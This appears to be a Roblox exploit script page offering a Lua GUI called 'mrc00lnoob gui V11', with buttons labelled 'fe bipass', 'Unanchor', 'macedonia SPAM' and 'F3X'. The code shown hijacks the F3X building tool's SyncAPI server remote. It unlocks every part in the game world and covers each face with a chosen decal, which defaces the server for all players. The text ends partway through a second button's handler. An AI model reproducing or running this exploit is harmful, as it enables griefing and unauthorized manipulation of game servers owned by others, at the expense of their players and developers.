mrc00lnoob f3x
Key RequiredUniversal

mrc00lnoob f3x

Universal Scriptscripter1234673scripter1234673 158 views 785 executesUpdated Jul 7, 2026
Unrated
00
Lua Script•17652 lines (397605 chars)
--[=[
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88' Y8b 88    88   `88'        VP  `8D      88      88    88 d8' `8b 
88      88    88    88            odD'      88      88    88 88ooo88 
88  ooo 88    88    88          .88'        88      88    88 88~~~88 
88. ~8~ 88b  d88   .88.        j88.         88booo. 88b  d88 88   88    @uniquadev
 Y888P  ~Y8888P' Y888888P      888888D      Y88888P ~Y8888P' YP   YP  CONVERTER 
]=]

-- Instances: 49 | Scripts: 22 | Modules: 0 | Tags: 0
local G2L = {};

-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;


-- StarterGui.ScreenGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 3;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 416, 0, 636);
G2L["2"]["Position"] = UDim2.new(0.15583, 0, 0.06655, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);


-- StarterGui.ScreenGui.Frame.TextLabel
G2L["3"] = Instance.new("TextLabel", G2L["2"]);
G2L["3"]["TextWrapped"] = true;
G2L["3"]["BorderSizePixel"] = 0;
G2L["3"]["TextSize"] = 14;
G2L["3"]["TextScaled"] = true;
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["BackgroundTransparency"] = 1;
G2L["3"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["Text"] = [[mrc00lnoob gui V11]];
G2L["3"]["Position"] = UDim2.new(0.25962, 0, 0.0599, 0);


-- StarterGui.ScreenGui.Frame.TextLabel
G2L["4"] = Instance.new("TextLabel", G2L["2"]);
G2L["4"]["TextWrapped"] = true;
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["TextSize"] = 14;
G2L["4"]["TextScaled"] = true;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["BackgroundTransparency"] = 1;
G2L["4"]["Size"] = UDim2.new(0, 200, 0, 13);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Text"] = [[made by krnl1 and mrc**ln**b]];
G2L["4"]["Position"] = UDim2.new(0.25962, 0, 0.13807, 0);


-- StarterGui.ScreenGui.Frame.TextButton
G2L["5"] = Instance.new("TextButton", G2L["2"]);
G2L["5"]["TextWrapped"] = true;
G2L["5"]["BorderSizePixel"] = 3;
G2L["5"]["TextSize"] = 14;
G2L["5"]["TextScaled"] = true;
G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["5"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["5"]["Text"] = [[Decal]];
G2L["5"]["Position"] = UDim2.new(0.05769, 0, 0.18598, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["6"] = Instance.new("LocalScript", G2L["5"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["7"] = Instance.new("TextButton", G2L["2"]);
G2L["7"]["TextWrapped"] = true;
G2L["7"]["BorderSizePixel"] = 3;
G2L["7"]["TextSize"] = 14;
G2L["7"]["TextScaled"] = true;
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["7"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["7"]["Text"] = [[Skybox]];
G2L["7"]["Position"] = UDim2.new(0.36058, 0, 0.18598, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["9"] = Instance.new("TextButton", G2L["2"]);
G2L["9"]["TextWrapped"] = true;
G2L["9"]["BorderSizePixel"] = 3;
G2L["9"]["TextSize"] = 14;
G2L["9"]["TextScaled"] = true;
G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["9"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["9"]["Text"] = [[Particles]];
G2L["9"]["Position"] = UDim2.new(0.66827, 0, 0.18598, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["a"] = Instance.new("LocalScript", G2L["9"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["b"] = Instance.new("TextButton", G2L["2"]);
G2L["b"]["TextWrapped"] = true;
G2L["b"]["BorderSizePixel"] = 3;
G2L["b"]["TextSize"] = 14;
G2L["b"]["TextScaled"] = true;
G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["b"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["b"]["Text"] = [[Unanchor]];
G2L["b"]["Position"] = UDim2.new(0.05769, 0, 0.28012, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["c"] = Instance.new("LocalScript", G2L["b"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["d"] = Instance.new("TextButton", G2L["2"]);
G2L["d"]["TextWrapped"] = true;
G2L["d"]["BorderSizePixel"] = 3;
G2L["d"]["TextSize"] = 14;
G2L["d"]["TextScaled"] = true;
G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["d"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["d"]["Text"] = [[Message]];
G2L["d"]["Position"] = UDim2.new(0.36058, 0, 0.28012, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["e"] = Instance.new("LocalScript", G2L["d"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["f"] = Instance.new("TextButton", G2L["2"]);
G2L["f"]["TextWrapped"] = true;
G2L["f"]["BorderSizePixel"] = 3;
G2L["f"]["TextSize"] = 14;
G2L["f"]["TextScaled"] = true;
G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["f"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["f"]["Text"] = [[Hint]];
G2L["f"]["Position"] = UDim2.new(0.66827, 0, 0.28012, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["10"] = Instance.new("LocalScript", G2L["f"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["11"] = Instance.new("TextButton", G2L["2"]);
G2L["11"]["TextWrapped"] = true;
G2L["11"]["BorderSizePixel"] = 3;
G2L["11"]["TextSize"] = 14;
G2L["11"]["TextScaled"] = true;
G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["11"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["11"]["Text"] = [[Char all]];
G2L["11"]["Position"] = UDim2.new(0.05769, 0, 0.37692, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["12"] = Instance.new("LocalScript", G2L["11"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["13"] = Instance.new("TextButton", G2L["2"]);
G2L["13"]["TextWrapped"] = true;
G2L["13"]["BorderSizePixel"] = 3;
G2L["13"]["TextSize"] = 14;
G2L["13"]["TextScaled"] = true;
G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["13"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["13"]["Text"] = [[fe bipass ]];
G2L["13"]["Position"] = UDim2.new(0.36058, 0, 0.37692, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["14"] = Instance.new("LocalScript", G2L["13"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["15"] = Instance.new("TextButton", G2L["2"]);
G2L["15"]["TextWrapped"] = true;
G2L["15"]["BorderSizePixel"] = 3;
G2L["15"]["TextSize"] = 14;
G2L["15"]["TextScaled"] = true;
G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["15"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["15"]["Text"] = [[macedonia SPAM]];
G2L["15"]["Position"] = UDim2.new(0.66827, 0, 0.37692, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["16"] = Instance.new("LocalScript", G2L["15"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["17"] = Instance.new("TextButton", G2L["2"]);
G2L["17"]["TextWrapped"] = true;
G2L["17"]["BorderSizePixel"] = 3;
G2L["17"]["TextSize"] = 14;
G2L["17"]["TextScaled"] = true;
G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["17"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["17"]["Text"] = [[john Doe]];
G2L["17"]["Position"] = UDim2.new(0.05769, 0, 0.47396, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["18"] = Instance.new("LocalScript", G2L["17"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["19"] = Instance.new("TextButton", G2L["2"]);
G2L["19"]["TextWrapped"] = true;
G2L["19"]["BorderSizePixel"] = 3;
G2L["19"]["TextSize"] = 14;
G2L["19"]["TextScaled"] = true;
G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["19"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["19"]["Text"] = [[goner]];
G2L["19"]["Position"] = UDim2.new(0.36058, 0, 0.47396, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1a"] = Instance.new("LocalScript", G2L["19"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["1b"] = Instance.new("TextButton", G2L["2"]);
G2L["1b"]["TextWrapped"] = true;
G2L["1b"]["BorderSizePixel"] = 3;
G2L["1b"]["TextSize"] = 14;
G2L["1b"]["TextScaled"] = true;
G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["1b"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["1b"]["Text"] = [[we surrender title]];
G2L["1b"]["Position"] = UDim2.new(0.66827, 0, 0.47396, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1c"] = Instance.new("LocalScript", G2L["1b"]);



-- StarterGui.ScreenGui.Frame.TextLabel
G2L["1d"] = Instance.new("TextLabel", G2L["2"]);
G2L["1d"]["TextWrapped"] = true;
G2L["1d"]["BorderSizePixel"] = 0;
G2L["1d"]["TextSize"] = 14;
G2L["1d"]["TextScaled"] = true;
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["BackgroundTransparency"] = 1;
G2L["1d"]["Size"] = UDim2.new(0, 200, 0, 48);
G2L["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["Text"] = [[other scripts]];
G2L["1d"]["Position"] = UDim2.new(0.23798, 0, 0.5736, 0);


-- StarterGui.ScreenGui.Frame.TextButton
G2L["1e"] = Instance.new("TextButton", G2L["2"]);
G2L["1e"]["TextWrapped"] = true;
G2L["1e"]["BorderSizePixel"] = 3;
G2L["1e"]["TextSize"] = 14;
G2L["1e"]["TextScaled"] = true;
G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1e"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["1e"]["Text"] = [[DOMINANT]];
G2L["1e"]["Position"] = UDim2.new(0.05769, 0, 0.64849, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1f"] = Instance.new("LocalScript", G2L["1e"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["20"] = Instance.new("TextButton", G2L["2"]);
G2L["20"]["TextWrapped"] = true;
G2L["20"]["BorderSizePixel"] = 3;
G2L["20"]["TextSize"] = 14;
G2L["20"]["TextScaled"] = true;
G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["20"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["20"]["Text"] = [[disco]];
G2L["20"]["Position"] = UDim2.new(0.36058, 0, 0.64849, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["21"] = Instance.new("LocalScript", G2L["20"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["22"] = Instance.new("TextButton", G2L["2"]);
G2L["22"]["TextWrapped"] = true;
G2L["22"]["BorderSizePixel"] = 3;
G2L["22"]["TextSize"] = 14;
G2L["22"]["TextScaled"] = true;
G2L["22"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["22"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["22"]["Text"] = [[teams]];
G2L["22"]["Position"] = UDim2.new(0.66827, 0, 0.64849, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["23"] = Instance.new("LocalScript", G2L["22"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["24"] = Instance.new("TextButton", G2L["2"]);
G2L["24"]["TextWrapped"] = true;
G2L["24"]["BorderSizePixel"] = 3;
G2L["24"]["TextSize"] = 14;
G2L["24"]["TextScaled"] = true;
G2L["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["24"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["24"]["Text"] = [[b2s leak]];
G2L["24"]["Position"] = UDim2.new(0.05769, 0, 0.74126, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["25"] = Instance.new("LocalScript", G2L["24"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["26"] = Instance.new("TextButton", G2L["2"]);
G2L["26"]["TextWrapped"] = true;
G2L["26"]["BorderSizePixel"] = 3;
G2L["26"]["TextSize"] = 14;
G2L["26"]["TextScaled"] = true;
G2L["26"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["26"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["26"]["Text"] = [[F3X gui]];
G2L["26"]["Position"] = UDim2.new(0.36058, 0, 0.74126, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["27"] = Instance.new("LocalScript", G2L["26"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["28"] = Instance.new("TextButton", G2L["2"]);
G2L["28"]["TextWrapped"] = true;
G2L["28"]["BorderSizePixel"] = 3;
G2L["28"]["TextSize"] = 14;
G2L["28"]["TextScaled"] = true;
G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["28"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["28"]["Text"] = [[theme]];
G2L["28"]["Position"] = UDim2.new(0.66827, 0, 0.74126, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["29"] = Instance.new("LocalScript", G2L["28"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["2a"] = Instance.new("TextButton", G2L["2"]);
G2L["2a"]["TextWrapped"] = true;
G2L["2a"]["BorderSizePixel"] = 3;
G2L["2a"]["TextSize"] = 14;
G2L["2a"]["TextScaled"] = true;
G2L["2a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a"]["Size"] = UDim2.new(0, 383, 0, 50);
G2L["2a"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["2a"]["Text"] = [[F3X]];
G2L["2a"]["Position"] = UDim2.new(0.02644, 0, 0.90792, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["2b"] = Instance.new("LocalScript", G2L["2a"]);



-- StarterGui.ScreenGui.Frame.TextLabel
G2L["2c"] = Instance.new("TextLabel", G2L["2"]);
G2L["2c"]["TextWrapped"] = true;
G2L["2c"]["BorderSizePixel"] = 0;
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["TextScaled"] = true;
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c"]["BackgroundTransparency"] = 1;
G2L["2c"]["Size"] = UDim2.new(0, 200, 0, 48);
G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["Text"] = [[get f3x]];
G2L["2c"]["Position"] = UDim2.new(0.23798, 0, 0.81888, 0);


-- StarterGui.ScreenGui.Frame.TextButton
G2L["2d"] = Instance.new("TextButton", G2L["2"]);
G2L["2d"]["TextWrapped"] = true;
G2L["2d"]["BorderSizePixel"] = 3;
G2L["2d"]["TextSize"] = 14;
G2L["2d"]["TextScaled"] = true;
G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["2d"]["Text"] = [[r6]];
G2L["2d"]["Position"] = UDim2.new(0, 0, 0.02246, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["2e"] = Instance.new("LocalScript", G2L["2d"]);



-- StarterGui.ScreenGui.Frame.TextButton
G2L["2f"] = Instance.new("TextButton", G2L["2"]);
G2L["2f"]["TextWrapped"] = true;
G2L["2f"]["BorderSizePixel"] = 3;
G2L["2f"]["TextSize"] = 14;
G2L["2f"]["TextScaled"] = true;
G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["2f"]["Text"] = [[Reset]];
G2L["2f"]["Position"] = UDim2.new(0.72115, 0, 0.02246, 0);


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["30"] = Instance.new("LocalScript", G2L["2f"]);



-- StarterGui.ScreenGui.Frame.Smooth GUI Dragging
G2L["31"] = Instance.new("LocalScript", G2L["2"]);
-- [ERROR] cannot convert Capabilities, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["31"]["Sandboxed"] = true;
G2L["31"]["Name"] = [[Smooth GUI Dragging]];


-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_6()
local script = G2L["6"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
	
	
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function spam(id)
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v,false)
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,id,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,id,Enum.NormalId.Back)
	
						SpawnDecal(v,Enum.NormalId.Right)
						AddDecal(v,id,Enum.NormalId.Right)
	
						SpawnDecal(v,Enum.NormalId.Left)
						AddDecal(v,id,Enum.NormalId.Left)
	
						SpawnDecal(v,Enum.NormalId.Bottom)
						AddDecal(v,id,Enum.NormalId.Bottom)
	
						SpawnDecal(v,Enum.NormalId.Top)
						AddDecal(v,id,Enum.NormalId.Top)
					end)
				end
			end 
		end
		spam("6877509129")
	end)
end;
task.spawn(C_6);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_8()
local script = G2L["8"];
	local button = script.Parent	
	
	button.MouseButton1Click:Connect(function()	
		local player = game.Players.LocalPlayer	
		local char = player.Character	
		local tool	
		local remote	
	
		-- Search player Backpack and character for the tool	
		for _, v in player.Backpack:GetDescendants() do	
